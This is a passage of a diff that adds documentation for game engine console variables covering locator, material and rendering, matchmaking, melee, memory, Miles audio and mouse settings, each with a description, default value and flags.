+locator_icon_max_size_non_ss + +Minimum scale of the icon on the screen + +default: `"2"` +flags: `0x2` +
+
+locator_icon_min_size_non_ss + +Minimum scale of the icon on the screen + +default: `"1.0"` +flags: `0x2` +
+
+locator_lerp_rest + +Number of seconds before moving from the center. + +default: `"2.25f"` +flags: `0x2` +
+
+locator_lerp_speed + +Speed that static lessons move along the Y axis. + +default: `"5.0f"` +flags: `0x2` +
+
+locator_lerp_time + +Number of seconds to lerp before reaching final destination + +default: `"1.75f"` +flags: `0x2` +
+
+locator_pulse_time + +Number of seconds to pulse after changing icon or position + +default: `"1.0f"` +flags: `0x2` +
+
+locator_split_len + + + +default: `"0.5f"` +flags: `0x4000` +
+
+locator_split_maxwide_percent + + + +default: `"0.80f"` +flags: `0x4000` +
+
+locator_start_at_crosshair + +Start position at the crosshair instead of the top middle of the screen. + +default: `"0"` +flags: `0x2` +
+
+locator_target_offset_x + +How many pixels to offset the locator from the target position. + +default: `"0"` +flags: `0x2` +
+
+locator_target_offset_y + +How many pixels to offset the locator from the target position. + +default: `"0"` +flags: `0x2` +
+
+locator_topdown_style + +Topdown games set this to handle distance and offscreen location differently. + +default: `"0"` +flags: `0x2` +
+
+lookspring + + + +default: `"0"` +flags: `0x80` +
+
+lookstrafe + + + +default: `"0"` +flags: `0x80` +
+
+m_acceleration + +Mouse acceleration. + +default: `"0"` +flags: `0x80` +
+
+m_forward + +Mouse forward factor. + +default: `"1.0"` +flags: `0x2` +
+
+m_invert_pitch + +Whether to invert the pitch axis of the mouse. + +default: `"0"` +flags: `0x1000000` +
+
+m_side + +Mouse side factor. + +default: `"1.0"` +flags: `0x2` +
+
+mainmenu_background_movie + + + +default: `"media/frontend.bik"` +flags: `0x2` +
+
+map_settings_override + +If this is enabled then the following ConVars will be functional and override the maps current value: fog_enable, mat_bloomscale + +default: `"0"` +flags: `0x40004002` +
+
+mat_autoexposure_compensation + +This works like exposure compensation on a camera, in EV units. 0EV is no compensation, -1EV gives half the light, +2EV gives 4x the light, etc. The exposure range is still subject to the min/max, so you might want to use mat_autoexposure_uncap 1. + +default: `"0"` +flags: `0x2` +
+
+mat_autoexposure_force_value + + + +default: `"0.0"` +flags: `0x40004000` +
+
+mat_autoexposure_max + + + +default: `"3"` +flags: `0x2` +
+
+mat_autoexposure_max_multiplier + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_autoexposure_min + + + +default: `"0.5"` +flags: `0x2` +
+
+mat_autoexposure_min_multiplier + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_autoexposure_speed + +Changes the speed at which exposure adapts to changes in scene luminance. + +default: `"0.1"` +flags: `0x2` +
+
+mat_autoexposure_uncap + +mat_autoexposure_min and mat_autoexposure_max are ignored when this is set. + +default: `"0"` +flags: `0x2` +
+
+mat_bloom_cutoff + + + +default: `"2.0"` +flags: `0x2` +
+
+mat_bloom_max_lighting_value + + + +default: `"5.0"` +flags: `0x4000` +
+
+mat_bloom_scalefactor_scalar + + + +default: `"0.1"` +flags: `0x80000` +
+
+mat_bloom_streak_amount + + + +default: `"0.0"` +flags: `0x2` +
+
+mat_bloom_streak_cutoff + + + +default: `"5.0f"` +flags: `0x2` +
+
+mat_bloom_streak_cutoff_exposure_adapt + +Whether streak cutoff value should scale with exposure values. R2 behavior is 0.0, R5 behavior is 1.0 + +default: `"0.0"` +flags: `0x2` +
+
+mat_bloom_streak_exponent_post + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_bloom_streak_exponent_pre + + + +default: `"1.0f"` +flags: `0x2` +
+
+mat_bloom_wide_amount + + + +default: `"1.5"` +flags: `0x2` +
+
+mat_bloom_wide_exponent_pre + + + +default: `"1.5f"` +flags: `0x2` +
+
+mat_bloomamount_rate + + + +default: `"0.05f"` +flags: `0x4000` +
+
+mat_bloomscale + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"1"` +flags: `0x2` +
+
+mat_checkStalls + +If true, flushes then syncs the render thread to the GPU at various spots of code to find hidden GPU stalls. + +default: `"0"` +flags: `0x4000` +
+
+mat_cloudmask + + + +default: `"1"` +flags: `0x2` +
+
+mat_colcorrection_disableentities + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_disableentities + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_disableentities + +Disable map color-correction entities + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_editor + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_editor + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_forceentitiesclientside + +Forces color correction entities to be updated on the client + +default: `"0"` +flags: `0x4000` +
+
+mat_colorcorrection + + + +default: `"1"` +flags: `0x4002` +
+
+mat_debug_postprocess_allowed + +Allow postprocessing when debug views are enabled. + +default: `"0"` +flags: `0x2` +
+
+mat_debug_postprocessing_effects + +0 = off, 1 = show post-processing in top left corner of screen + +default: `"0"` +flags: `0x2` +
+
+mat_debug_tonemapping + + + +default: `"4"` +flags: `0x2` +
+
+mat_debug_tonemapping_disable + + + +default: `"0"` +flags: `0x2` +
+
+mat_debug_tonemapping_mid1 + + + +default: `"10.0"` +flags: `0x2` +
+
+mat_debug_tonemapping_mid2 + + + +default: `"1.5"` +flags: `0x2` +
+
+mat_debug_tonemapping_shoulder + + + +default: `"0.5"` +flags: `0x2` +
+
+mat_debug_tonemapping_toe + + + +default: `"0.3"` +flags: `0x2` +
+
+mat_debugalttab + + + +default: `"0"` +flags: `0x4000` +
+
+mat_depthbias_decal + +use integer value + +default: `"-16"` +flags: `0x4002` +
+
+mat_depthbias_normal + +use integer value + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbias_shadowmap + +use integer value + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbias_tightshadowmap + +use integer value. effective on View model selfshadow + +default: `"10000"` +flags: `0x4002` +
+
+mat_depthbias_ui + +use integer value + +default: `"-50"` +flags: `0x4002` +
+
+mat_depthbias_zfill + +use integer value + +default: `"16"` +flags: `0x4002` +
+
+mat_depthbiasclamp_decal + + + +default: `"-0.001"` +flags: `0x4002` +
+
+mat_depthbiasclamp_normal + + + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbiasclamp_shadowmap + + + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbiasclamp_ui + + + +default: `"-0.001"` +flags: `0x4002` +
+
+mat_depthbiasclamp_zfill + + + +default: `"0"` +flags: `0x4002` +
+
+mat_depthtest_force_disabled + +only works on PC and XB1 for now + +default: `"0"` +flags: `0x4002` +
+
+mat_detail_tex + + + +default: `"1"` +flags: `0x2` +
+
+mat_diffuse + + + +default: `"1"` +flags: `0x2` +
+
+mat_disable_bloom + + + +default: `"0"` +flags: `0x40000002` +
+
+mat_disable_lightmap_ambient + + + +default: `"0"` +flags: `0x4000` +
+
+mat_disable_lightmaps + + + +default: `"0"` +flags: `0x4000` +
+
+mat_disable_model_ambient + + + +default: `"0"` +flags: `0x4000` +
+
+mat_drawMenuGrid + +Enable menu grid guide overlay. Only accurate for 16:9 aspect ratio. + +default: `"0"` +flags: `0x2` +
+
+mat_drawTitleSafe + +Enable title safe overlay + +default: `"0"` +flags: `0x2` +
+
+mat_drawflat + + + +default: `"0"` +flags: `0x4000` +
+
+mat_dxlevel + + + +default: `"0"` +flags: `0x2` +
+
+mat_dynamic_tonemapping + + + +default: `"1"` +flags: `0x4000` +
+
+mat_dynamic_tonemapping + + + +default: `"1"` +flags: `0x4000` +
+
+mat_enable_ssr + +NOTE - UNABLE TO ENABLE - Toggle Screen Space Reflections. +If you want to use SSR again, uncomment the line with (1u << MTLENVOPT_SSR) in shader.cpp of bakery and then rebuild shaders. + +default: `"0"` +flags: `0x2` +max value: `1` +
+
+mat_envmap_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_envmaptgasize + +Final envmap size for "envmap" console command; should be <= 128. + +default: `"CUBEMAP_SCREENSHOT_RES"` +flags: `0x2` +
+
+mat_fastnobump + + + +default: `"0"` +flags: `0x4000` +
+
+mat_fastspecular + +Enable/Disable specularity for visual testing. Will not reload materials and will not affect perf. + +default: `"1"` +flags: `0x2` +
+
+mat_filterlightmaps + + + +default: `"1"` +flags: `0x2` +
+
+mat_filtertextures + + + +default: `"1"` +flags: `0x2` +
+
+mat_force_bloom + + + +default: `"0"` +flags: `0x4000` +
+
+mat_forceaniso + + + +default: `"2"` +flags: `0x40000000` +min value: `0` +max value: `16` +
+
+mat_frame_color_bias + +Add a constant value to the average frame color. + +default: `"0.0"` +flags: `0x2` +
+
+mat_frame_color_enabled + +Update the average frame color each frame. + +default: `"1"` +flags: `0x2` +
+
+mat_frame_color_scale + +Scale the average frame color. + +default: `"5.0"` +flags: `0x2` +
+
+mat_frame_color_spot_metering_screen_ratio + +Use a percentage of the screen around the center to compute the average frame color. + +default: `"0.8"` +flags: `0x2` +
+
+mat_fullbright + + + +default: `"0"` +flags: `0x4000` +
+
+mat_fxaa_enable + + + +default: `"0"` +flags: `0x2` +
+
+mat_global_lighting + + + +default: `"0"` +flags: `0x2` +
+
+mat_global_lighting + + + +default: `"0"` +flags: `0x2` +
+
+mat_global_lighting + + + +default: `"0"` +flags: `0x2` +
+
+mat_hdr_level + +Set to 0 for no HDR, 1 for LDR+bloom on HDR maps, and 2 for full HDR on HDR maps. + +default: `"2"` +flags: `0x2` +
+
+mat_hdrcolcorrection_editor + + + +default: `"0"` +flags: `0x2` +
+
+mat_hdrcolorcorrection + + + +default: `"1"` +flags: `0x2` +
+
+mat_hide_sun_in_last_cascade + + + +default: `"0"` +flags: `0x2` +
+
+mat_instancing + + + +default: `"1"` +flags: `0x2` +
+
+mat_letterbox_aspect_goal + +Letterbox when the window aspect ratio is below this threshold + +default: `"1.6"` +flags: `0x2` +
+
+mat_letterbox_aspect_threshold + +Letterbox when the window aspect ratio is below this threshold + +default: `"1.59"` +flags: `0x2` +
+
+mat_lightcull_subview + + + +default: `"0"` +flags: `0x2` +
+
+mat_lightcull_subviews + +Re-cull lighting for subviews (monitors etc.) + +default: `"0"` +flags: `0x4000` +
+
+mat_local_contrast_edge_scale_override + + + +default: `"-1000.0"` +flags: `0x2` +
+
+mat_local_contrast_midtone_mask_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_local_contrast_scale_override + + + +default: `"0.0"` +flags: `0x2` +
+
+mat_local_contrast_vignette_end_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_local_contrast_vignette_start_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_materialmip_character_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_character_1 + + + +default: `"0 0 1 1"` +flags: `0x2` +
+
+mat_materialmip_character_2 + + + +default: `"1 0 1 1"` +flags: `0x2` +
+
+mat_materialmip_character_3 + + + +default: `"1 1 2 2"` +flags: `0x2` +
+
+mat_materialmip_character_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_cockpit_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_cockpit_1 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_cockpit_2 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_cockpit_3 + + + +default: `"1 0 0 1"` +flags: `0x2` +
+
+mat_materialmip_cockpit_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_model_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_model_1 + + + +default: `"1 0 1 1"` +flags: `0x2` +
+
+mat_materialmip_model_2 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_model_3 + + + +default: `"1 1 2 2"` +flags: `0x2` +
+
+mat_materialmip_model_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_other_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_other_1 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_other_2 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_other_3 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_other_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_world_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_world_1 + + + +default: `"0 0 1 1"` +flags: `0x2` +
+
+mat_materialmip_world_2 + + + +default: `"0 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_world_3 + + + +default: `"1 1 2 2"` +flags: `0x2` +
+
+mat_materialmip_world_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_maxframelatency + + + +default: `"1"` +flags: `0x2` +
+
+mat_mip_linear + + + +default: `"1"` +flags: `0x40000000` +
+
+mat_mipmaptextures + + + +default: `"1"` +flags: `0x2` +
+
+mat_norendering + + + +default: `"0"` +flags: `0x4000` +
+
+mat_norendering + + + +default: `"0"` +flags: `0x4000` +
+
+mat_phong + + + +default: `"1"` +flags: `0x2` +
+
+mat_picmip + + + +default: `"0"` +flags: `0x40000000` +min value: `0` +max value: `4` +
+
+mat_postprocess_enable + + + +default: `"1"` +flags: `0x4000` +
+
+mat_postprocess_enable + + + +default: `"1"` +flags: `0x4000` +
+
+mat_proxy + + + +default: `"0"` +flags: `0x4000` +
+
+mat_reducefillrate + + + +default: `"0"` +flags: `0x2` +
+
+mat_report_queue_status + + + +default: `"0"` +flags: `0x800002` +
+
+mat_reversedepth + + + +default: `"0"` +flags: `0x4000` +
+
+mat_screen_blur_enabled + +Enables screen blur render step + +default: `"1"` +flags: `0x2` +
+
+mat_screen_blur_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_shadowstate + + + +default: `"1"` +flags: `0x2` +
+
+mat_sharpen_amount + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_sharpen_threshold + + + +default: `"0.5"` +flags: `0x2` +
+
+mat_sharpen_width + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_show_texture_memory_usage + +Display the texture memory usage on the HUD. + +default: `"0"` +flags: `0x5000` +
+
+mat_showenvmapmask + + + +default: `"0"` +flags: `0x2` +
+
+mat_showlowresimage + + + +default: `"0"` +flags: `0x4000` +
+
+mat_showmiplevels + +color-code miplevels 2: normalmaps, 1: everything else + +default: `"0"` +flags: `0x4000` +
+
+mat_skipid + +Don't draw a particular mesh id. Helps track down which mesh you care about. + +default: `"-1"` +flags: `0x4000` +
+
+mat_sky_color + +forces the color of sky ambient; the alpha value of 0 means no override. + +default: `"0.0 0.0 0.0 0.0"` +flags: `0x4000` +
+
+mat_sky_scale + +scales all sky ambient light by a constant factor + +default: `"1.0"` +flags: `0x4000` +
+
+mat_slopescaledepthbias_decal + + + +default: `"-4"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_normal + + + +default: `"0.0f"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_shadowmap + + + +default: `"2"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_ui + + + +default: `"-1.7"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_zfill + + + +default: `"2"` +flags: `0x4002` +
+
+mat_sun_color + +forces the color of the sun directional light; the alpha value of 0 means no override. + +default: `"0.0 0.0 0.0 0.0"` +flags: `0x4000` +
+
+mat_sun_scale + +scales all sun direct light by a constant factor + +default: `"1.0"` +flags: `0x40004000` +
+
+mat_surfacefilter + +If set, limits surfaces shown by mat_surfaceid and mat_surfacemat to those containing the substring. + +default: `""` +flags: `0x4000` +
+
+mat_surfaceid + +Draws the index of world surfaces. Can be filtered with mat_surfacefilter. + +default: `"0"` +flags: `0x4000` +
+
+mat_surfacemat + +Draws the material name of world surfaces. Can be filtered with mat_surfacefilter. + +default: `"0"` +flags: `0x4000` +
+
+mat_syncGPU + +If true, syncs the render thread to the GPU at the end of each frame, instead of letting the render thread get one frame ahead. + +default: `"0"` +flags: `0x4000` +
+
+mat_syncInterval + +Number of frames to skip per sync. 0 = novsync, 1 = 60 fps, 2 = 30, 3 == 20, 4 = 15, etc. + +default: `"1"` +flags: `0x2` +
+
+mat_sync_rt + +Sync the render thread after each queued call. This is really slow, but makes debugging much easier. + +default: `"0"` +flags: `0x4000` +
+
+mat_sync_rt_flushes_gpu + + + +default: `"0"` +flags: `0x2` +
+
+mat_texture_list + +For debugging, show a list of used textures per frame + +default: `"0"` +flags: `0x2` +
+
+mat_texture_list_view + +If this is nonzero, then the texture list panel will render thumbnails of currently-loaded textures. + +default: `"1"` +flags: `0x1002` +
+
+mat_translucency_errors + + + +default: `"0"` +flags: `0x2` +
+
+mat_vignette_enable + + + +default: `"0"` +flags: `0x2` +
+
+mat_warn_texture_convert + +Print warnings for textures that had to be converted at load time, slowing down loads. 0 = off, 1 = old size not smaller, 2 = any change + +default: `"2"` +flags: `0x2` +
+
+match_backingOutMaxTimeToWait + + + +default: `"60"` +flags: `0x2` +
+
+match_backoutslow + +Forces empty server queries (for backing out of a lobby) to take this long + +default: `"0"` +flags: `0x2` +
+
+match_connect + +If set to 0, we won't actually connect to any matchmaking results we get back + +default: `"1"` +flags: `0x2` +
+
+match_defaultMap_party + +Default map to load if the dedicated server is empty + +default: `"mp_lobby"` +flags: `0x2` +
+
+match_dir + +What dir to look in for the matchmaking scripts + +default: `""` +flags: `0x2` +
+
+match_dumpSearchResults + +Dumps search result text to the console + +default: `"0"` +flags: `0x2` +
+
+match_emptyUpdateRate + + + +default: `"30"` +flags: `0x2` +
+
+match_enabled + + + +default: `"1"` +flags: `0x2` +
+
+match_fakePort + +Lie about our port number (so players can't connect) + +default: `"-1"` +flags: `0x2` +
+
+match_fakeS2SPort + +Lie about our s2s port number (so servers can't connect) + +default: `"-1"` +flags: `0x2` +
+
+match_forceVerboseSearches + + + +default: `"0"` +flags: `0x2` +
+
+match_goodReputation + + + +default: `"1"` +flags: `0x80000202` +
+
+match_maxPingsSent + + + +default: `"50"` +flags: `0x2` +
+
+match_myBestDatacenter + +Which datacenter we have the lowest ping to + +default: `""` +flags: `0x80080200` +
+
+match_myDatacenter + +Which datacenter we prefer (same as match_myBestDatacenter unless user changes it) + +default: `""` +flags: `0x80080200` +
+
+match_myRankedDatacenter + +Which datacenter we prefer for Ranked play (same as match_myBestDatacenter unless user changes it) + +default: `""` +flags: `0x80080200` +
+
+match_myTeam + + + +default: `"0"` +flags: `0x200` +
+
+match_partyChangeNum + +The int that represents the change num of our party struct (did it change?) + +default: `""` +flags: `0x200` +
+
+match_partySize + +The size of our party + +default: `""` +flags: `0x200` +
+
+match_partySub + +The name of our party subscription + +default: `""` +flags: `0x200` +
+
+match_pingWaveInterval + + + +default: `"0.2"` +flags: `0x2` +
+
+match_playlist + +The playlist we are looking for + +default: `""` +flags: `0x80200` +
+
+match_precachemap + +Whether to precache the map for the selected playlist + +default: `"1"` +flags: `0x2002` +
+
+match_privateMatchListWithStryder + + + +default: `"1"` +flags: `0x2` +
+
+match_rankedMaxPing + + + +default: `"200"` +flags: `0x2002` +
+
+match_rankedSwitchETA + + + +default: `"300"` +flags: `0x2002` +
+
+match_resetPlaylistBetweenMatches + + + +default: `"1"` +flags: `0x2` +
+
+match_roleToken + +The role token used when matchmaking (e.g. for private match). + +default: `""` +flags: `0x80200` +
+
+match_searchInterval + +How often to repeat searches + +default: `"2"` +flags: `0x80000` +
+
+match_searching + +Whether or not we want the system to be actively searching right now + +default: `"0"` +flags: `0x80200` +
+
+match_teamNoFill + +If set, matchmaking won't fill the player's team with non-party members + +default: `"0"` +flags: `0x80200` +
+
+match_updateNotableRate + + + +default: `"5"` +flags: `0x2` +
+
+match_updateRate + + + +default: `"30"` +flags: `0x2` +
+
+match_useMatchmaking + +This dedi is a matchmaking dedi + +default: `"0"` +flags: `0x2` +
+
+match_verbosePrintsInterval + + + +default: `"60"` +flags: `0x2` +
+
+match_visiblePlaylists + + + +default: `""` +flags: `0x2002` +
+
+matchmaking_hostname + + + +default: `""` +flags: `0x80000` +
+
+max_explosive_damage_mass + +Anything heavier than this will be clamped. (units kg) + +default: `"100"` +flags: `0x2002` +
+
+max_explosive_damage_velocity + +inches/sec + +default: `"200"` +flags: `0x2002` +
+
+max_tweak_shadow_updates + + + +default: `"8"` +flags: `0x2` +
+
+melee_aim_assist_can_lock_pitch + + + +default: `"0"` +flags: `0x2002` +
+
+melee_aim_assist_use_target_velocity + + + +default: `"0"` +flags: `0x2002` +
+
+melee_attack_trace_can_use_lunge_distance + + + +default: `"0.5"` +flags: `0x2002` +
+
+melee_cone_trace_box_check + + + +default: `"0.5"` +flags: `0x2002` +
+
+melee_lunge_abort_distance + +Abort the lunge if the distance moved in one frame is less than this much of the expected lunge distance. + +default: `"0.25"` +flags: `0x2002` +
+
+melee_lunge_abort_if_blocked + +Lunging can abort if the player hits something that blocks their lunge movement. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_adjust_trace_distance + + + +default: `"0"` +flags: `0x2002` +
+
+melee_lunge_align_eye_position + + + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_dot_check + + + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_force_enable_flying + +Lunging will always ignore gravity. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_lag_compensate_target + +Lunging will apply lag compensation the target's position. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_scale_by_speed + +Increase lunge range (by up to the given scale) if the player is going fast enough. + +default: `"2.0"` +flags: `0x2002` +
+
+melee_lunge_slide + +When lunging, try slide along surfaces + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_use_closest_distance_between_cylinders + +When calculating distance to the lunge target, treat them as cylinders rather than points. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_use_command_time + + + +default: `"1"` +flags: `0x2002` +
+
+melee_queue_attack_anim_event + +Run melee attacks after the player has moved this frame + +default: `"1"` +flags: `0x2002` +
+
+mem_dumpstats + +Dump current and max heap usage info to console at end of frame ( set to 2 for continuous output ) + + +default: `"0"` +flags: `0x2` +
+
+mem_force_flush + +Force cache flush of unlocked resources on every alloc + +default: `"0"` +flags: `0x2` +
+
+mem_force_flush_section + +Cache section to restrict mem_force_flush + +default: `""` +flags: `0x2` +
+
+mem_incremental_compact_rate + +Rate at which to attempt internal heap compaction + +default: `".5"` +flags: `0x4000` +
+
+mem_level + +Memory Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+mem_level + +Memory Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+mem_max_heapsize + +Maximum amount of memory to dedicate to engine hunk and datacache (in mb) + +default: `"1024"` +flags: `0x2` +
+
+mem_max_heapsize_dedicated + +Maximum amount of memory to dedicate to engine hunk and datacache, for dedicated server (in mb) + +default: `"64"` +flags: `0x2` +
+
+mem_min_heapsize + +Minimum amount of memory to dedicate to engine hunk and datacache (in mb) + +default: `"48"` +flags: `0x2` +
+
+mem_runheapchecks + + + +default: `"0"` +flags: `0x2` +
+
+mem_test_each_frame + +Run heap check at end of every frame + + +default: `"0"` +flags: `0x2` +
+
+mem_test_every_n_seconds + +Run heap check at a specified interval + + +default: `"0"` +flags: `0x2` +
+
+mem_test_quiet + +Don't print stats when memtesting + +default: `"0"` +flags: `0x2` +
+
+menu_faq_community_version + + + +default: `"-1"` +flags: `0x1000000` +
+
+menu_faq_patchnotes_version + + + +default: `"-1"` +flags: `0x1000000` +
+
+menu_faq_viewed + + + +default: `"0"` +flags: `0x1000000` +
+
+menu_was_multiplayer_played_last + + + +default: `"0"` +flags: `0x1000000` +
+
+migrate_attempt_interval + + + +default: `"2.5"` +flags: `0x2` +
+
+migrate_attempt_max_retries + + + +default: `"5"` +flags: `0x2` +
+
+miles_actor_occlusion_radius + +Distance which must be penetrated for one of the entity check points to be considered occluded. + +default: `"8.0"` +flags: `0x2` +
+
+miles_channels + +Number of audio channels, commonly 2(stereo), 6(5.1), 8(7.1). (0 is default) + +default: `"0"` +flags: `0x40000000` +
+
+miles_flip_active_window_logic + +Only hear audio when NOT the active window. + +default: `"0"` +flags: `0x2002` +
+
+miles_force_emitter_environment + +Force Environment on played sounds and entities (per-event controllers and suffixes.) + +default: `""` +flags: `0x2` +
+
+miles_force_listener_environment + +Force environment on listener (i.e., global controller changes only) + +default: `""` +flags: `0x2` +
+
+miles_freeze + +When 1, sound is paused and incoming play events are ignored. + +default: `"0"` +flags: `0x2` +
+
+miles_initial_occlusion_delay + +Time (in msec) to delay new sounds when we defer their traces. + +default: `"0"` +flags: `0x2` +
+
+miles_language + +Language to use for audio (requires a miles restart to change.) + +default: `""` +flags: `0x1000000` +
+
+miles_listener_freeze + +When 1, stop updating listener position. + +default: `"0"` +flags: `0x2` +
+
+miles_nonactor_occlusion + +Do traces to determine when non-entity sounds are occluded. + +default: `"1"` +flags: `0x2` +
+
+miles_nonactor_occlusion_radius + +Distance which must be penetrated for a non-entity sound to be considered occluded. + +default: `"8.0"` +flags: `0x2` +
+
+miles_nopandist + +Distance at which panning is forced to center-front. + +default: `"10"` +flags: `0x2` +
+
+miles_occlusion + +When nonzero, perform occlusion checks + +default: `"1"` +flags: `0x1000000` +
+
+miles_occlusion_force + +0 to 100: Force all sounds to have occlusion values of 0 (unoccluded) to 100 (completely occluded). -1 for normal. + +default: `"-1"` +flags: `0x2` +
+
+miles_occlusion_partial + +When zero, occlusion state is binary. When nonzero, allow partial occlusion of audio. + +default: `"1"` +flags: `0x2` +
+
+miles_occlusion_use_reset_after_deferred_initial + +For A/B testing feature. Enable permanently eventually. + +default: `"1"` +flags: `0x2` +
+
+miles_samplerate + +Sample rate, commonly 48000, 44100, 22050, or 11025 (0 is default) + +default: `"0"` +flags: `0x2` +
+
+miles_server_sounds_debug + + + +default: `"0"` +flags: `0x2` +
+
+miles_server_sounds_print + + + +default: `"0"` +flags: `0x2` +
+
+miles_solo_ents + +Only play sounds from this entity index (or space-separated list of indices.) + +default: `""` +flags: `0x2` +
+
+miles_soundscape_imgui + +Show imgui-based soundscape debugging window + +default: `"0"` +flags: `0x2` +
+
+miles_spatialize_front_degrees + +Front panning field angle + +default: `"45.0"` +flags: `0x2` +
+
+miles_spatialize_offplane_strength + +Offplane omni-fication strength + +default: `"0.7"` +flags: `0x2` +
+
+miles_spatialize_on + +Enable hard spatialization test + +default: `"1"` +flags: `0x2` +
+
+miles_spatialize_rear_degrees + +Rear panning field angle + +default: `"120.0"` +flags: `0x2` +
+
+miles_suffixes + +Use emitter suffixed versions of sounds. + +default: `"1"` +flags: `0x2` +
+
+min_explosive_damage_mass + +Anything lighter than this will be clamped. (units kg) + +default: `"20"` +flags: `0x2002` +
+
+missile_default_speed + + + +default: `"2500"` +flags: `0x2002` +
+
+missile_homing_speed + + + +default: `"150"` +flags: `0x2002` +
+
+mod_trace_load + + + +default: `"0"` +flags: `0x2` +
+
+model_defaultFadeDistMin + +Default minimum fade distance. + +default: `"400"` +flags: `0x4000` +
+
+model_defaultFadeDistMin + +Default minimum fade distance. + +default: `"400"` +flags: `0x4000` +
+
+model_defaultFadeDistScale + +Factor that is multiplied by the model's radius to get the default fade distance. + +default: `"40"` +flags: `0x4000` +
+
+model_defaultFadeDistScale + +Factor that is multiplied by the model's radius to get the default fade distance. + +default: `"40"` +flags: `0x4000` +
+
+model_fadeRangeFraction + +Fraction of the fade distance to fade over. + +default: `"0.1"` +flags: `0x4000` +
+
+model_fadeRangeFractionNear + +Fraction of the near fade distance at which impostors are invisible. + +default: `"0.9"` +flags: `0x4000` +
+
+monitor_cc + + + +default: `"1"` +flags: `0x2` +
+
+monitor_mat_sharpen_amount + + + +default: `"2.0"` +flags: `0x2` +
+
+monitor_postfx + + + +default: `"1"` +flags: `0x2` +
+
+monitor_rui_world_enabled + + + +default: `"0"` +flags: `0x2` +
+
+monitor_snapshot_frame_delay + + + +default: `"20"` +flags: `0x2` +
+
+monitor_zfar_default + + + +default: `"642"` +flags: `0x2` +
+
+monitor_zfar_override + + + +default: `"0"` +flags: `0x2` +
+
+monitor_zfar_override_enabled + + + +default: `"0"` +flags: `0x2` +
+
+motd + + + +default: `""` +flags: `0x12` +
+
+mouse_sensitivity + +Mouse sensitivity. + +default: `"5"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_use_per_scope_sensitivity_scalars + +Uses the per scope scalars + +default: `"0"` +flags: `0x80` +
+
+mouse_zoomed_sensitivity_scalar_0 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_1 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_2 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_3 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_4 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_5 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_6 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_7 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+move_one_cmd_per_client_frame + +Force clients to generate exactly one user command per client frame. There will not be a one-to-one relationship between cmds and ticks. + +default: `"1"` +flags: `0x2002` +
+
+movement_anim_downed_playback_maxrate + + + +default: `"2.5"` +flags: `0x2002` +
+
